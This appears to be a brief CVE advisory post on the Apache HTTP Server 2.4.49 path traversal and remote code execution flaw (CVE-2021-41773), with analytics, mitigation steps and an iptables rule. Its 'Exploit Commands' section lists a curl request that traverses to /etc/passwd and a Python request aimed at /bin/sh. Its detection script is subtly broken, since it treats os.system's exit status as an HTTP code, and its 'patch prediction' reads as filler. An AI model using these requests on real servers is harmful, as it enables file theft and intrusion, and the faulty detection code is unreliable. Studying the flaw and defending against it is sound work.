Apache HTTP Server, Path Traversal & Remote Code Execution, CVE-2021-41773 (Critical)

Listen to this Post

How the CVE Works:

CVE-2021-41773 is a critical vulnerability in Apache HTTP Server 2.4.49, caused by improper path normalization. Attackers exploit a flaw in the URL parsing mechanism, allowing traversal outside restricted directories using sequences like /../. If `mod_cgi` is enabled, this can lead to remote code execution (RCE). The vulnerability occurs due to insufficient validation in the `ap_normalize_path()` function, permitting malicious actors to access arbitrary files or execute commands on the server.

DailyCVE Form:

Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal → RCE
Severity: Critical
Date: 2021-10-05

Prediction: Patch expected by 2021-10-07

What Undercode Say:

Analytics:

  • Exploited in wild within 48h.
  • Mostly targets misconfigured cloud instances.
  • Shodan shows ~50k vulnerable servers pre-patch.

Exploit Commands:

curl -v "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
import requests
r = requests.get("http://target/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh")
print(r.text)

Mitigation Commands:

Immediate fix:
sudo apt upgrade apache2
Config hardening (httpd.conf):
<Directory "/">
Require all denied
</Directory>

Patch Verification:

httpd -v | grep "2.4.49" && echo "VULNERABLE"

Detection Script:

import os
def check_CVE_2021_41773(ip):
res = os.system(f"curl -s {ip}/cgi-bin/.%2e/ -o /dev/null -w '%{{http_code}}'")
return "200" in str(res)

Network Protection:

iptables -A INPUT -p tcp --dport 80 -m string --string "/.%2e/" --algo bm -j DROP

Sources:

Reported By: www.cve.org
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top